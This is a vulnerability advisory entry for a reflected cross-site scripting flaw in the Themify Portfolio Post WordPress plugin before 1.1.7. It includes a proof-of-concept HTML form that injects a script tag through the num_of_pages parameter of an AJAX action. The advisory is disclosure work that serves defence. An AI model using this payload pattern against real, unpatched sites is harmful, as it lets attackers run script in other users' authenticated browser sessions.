WordPress Plugin Vulnerabilities
Themify Portfolio Post < 1.1.7 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the num_of_pages parameter before outputting it back the response of the themify_create_popup_page_pagination AJAX action (available to any authenticated user), leading to a Reflected Cross-Site Scripting
Proof of Concept
<html>
<form action="https://example.com/wp-admin/admin-ajax.php?action=themify_create_popup_page_pagination" method="POST">
<input type="text" name="current_page" value=3>
<input type="text" name="num_of_pages" value='7"><script>alert(/XSS/);</script>'>
<input type="submit" value="Send">
</form>
</html> Affects Plugins
Fixed in version 1.1.7
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-01-14 (about 8 months ago)
Added
2022-01-14 (about 8 months ago)
Last Updated
2022-04-12 (about 5 months ago)